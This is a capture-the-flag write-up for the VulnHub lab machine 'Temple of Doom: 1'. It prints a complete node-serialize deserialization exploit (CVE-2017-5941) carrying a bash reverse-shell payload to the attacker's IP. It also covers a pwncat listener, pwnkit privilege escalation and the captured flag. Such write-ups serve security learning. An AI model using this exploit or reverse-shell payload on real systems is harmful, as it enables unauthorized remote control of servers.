CTF : Temple of Doom: 1

CTF Temple of Doom: 1 writeup. Source VulnHub. Announced difficulty level: Easy/Intermediate

Posted by Boula-Bytes on 22 February 2022

CTF : Temple of Doom : 1

Informations

  • IP: 192.168.0.179
  • MYIP: 192.168.0.36

First enumeration

Basics

console
$ sudo nmap -p- -A 192.168.0.179 Starting Nmap 7.92 ( https://nmap.org ) at 2022-02-21 23:22 CET Nmap scan report for 192.168.0.179 Host is up (0.00013s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.7 (protocol 2.0) | ssh-hostkey: | 2048 95:68:04:c7:42:03:04:cd:00:4e:36:7e:cd:4f:66:ea (RSA) | 256 c3:06:5f:7f:17:b6:cb:bc:79:6b:46:46:cc:11:3a:7d (ECDSA) |_ 256 63:0c:28:88:25:d5:48:19:82:bb:bd:72:c6:6c:68:50 (ED25519) 666/tcp open http Node.js Express framework |_http-title: Site doesn't have a title (text/html; charset=utf-8). MAC Address: 08:00:27:1E:D8:E3 (Oracle VirtualBox virtual NIC) Device type: general purpose Running: Linux 3.X|4.X OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4 OS details: Linux 3.2 - 4.9 Network Distance: 1 hop TRACEROUTE HOP RTT ADDRESS 1 0.13 ms 192.168.0.179 OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 16.49 seconds

Enumeration

"Node.js Express framework" => let's try json serialize exploit

python
# Exploit Title: Node.JS - 'node-serialize' Remote Code Execution (2) # Exploit Author: UndeadLarva # Software Link: https://www.npmjs.com/package/node-serialize # Version: 0.0.4 # CVE: CVE-2017-5941 import requests import re import base64 import sys url = 'http://192.168.0.179:666/' # change this payload = ("require('http').ServerResponse.prototype.end = (function (end) {" "return function () {" "['close', 'connect', 'data', 'drain', 'end', 'error', 'lookup', 'timeout', ''].forEach(this.socket.removeAllListeners.bind(this.socket));" "console.log('still inside');" "const { exec } = require('child_process');" "exec('bash -i >& /dev/tcp/192.168.0.36/1234 0>&1');" # change this "}" "})(require('http').ServerResponse.prototype.end)") # rce = "_$$ND_FUNC$$_process.exit(0)" # code ="_$$ND_FUNC$$_console.log('behind you')" code = "_$$ND_FUNC$$_" + payload string = '{"username":"TheUndead","country":"worldwide","city":"Tyr", "exec": "'+code+'"}' cookie = {'profile':base64.b64encode(string)} try: response = requests.get(url, cookies=cookie).text print response except requests.exceptions.RequestException as e: print('Oops!') sys.exit(1)

On local kali :

console
$ pwncat -lp 1234
console
python2 nodejsshell.py

Got a shell :)

console
$ id uid=1001(nodeadmin) gid=1001(nodeadmin) groups=1001(nodeadmin)

Alright, I couldn't find intended way to privesc this box so... pwnkit

But this time i needed to modify python source code like this :

python
# Set the environment for the call to execve() environ = [ b'exploit', b'PATH=GCONV_PATH=.', b'LC_MESSAGES=en_US.UTF-8', b'XAUTHORITY=../LOL', b'GIO_USE_VFS=', None ]

Seems that fedora version needs GIO_USE_VFS env var...

And then...

console
# cat flag.txt [+] You're a soldier. [+] One of the best that the world could set against [+] the demonic invasion. +-----------------------------------------------------------------------------+ | | |\ -~ / \ / | |~~__ | \ | \/ /\ /| | -- | \ | / \ / \ / | | |~_| \ \___|/ \/ / | |--__ | -- |\________________________________/~~\~~| / \ / \ | | |~~--__ |~_|____|____|____|____|____|____|/ / \/|\ / \/ \/| | | |~--_|__|____|____|____|____|____|_/ /| |/ \ / \ / | |___|______|__|_||____|____|____|____|____|__[]/_|----| \/ \ / | | \mmmm : | _|___|____|____|____|____|____|___| /\| / \ / \ | | B :_--~~ |_|____|____|____|____|____|____| | |\/ \ / \ | | __--P : | / / / | \ / \ /\| |~~ | : | / ~~~ | \ / \ / | | | |/ .-. | /\ \ / | | | / | | |/ \ /\ | | | / | | -_ \ / \ | +-----------------------------------------------------------------------------+ | | /| | | 2 3 4 | /~~~~~\ | /| |_| .... ......... | | | ~|~ | % | | | ~J~ | | ~|~ % |_| .... ......... | | AMMO | HEALTH | 5 6 7 | \===/ | ARMOR |#| .... ......... | +-----------------------------------------------------------------------------+ FLAG: kre0cu4jl4rzjicpo1i7z5l1 [+] Congratulations on completing this VM & I hope you enjoyed my first boot2root. [+] You can follow me on twitter: @0katz [+] Thanks to the homie: @Pink_P4nthe

\o/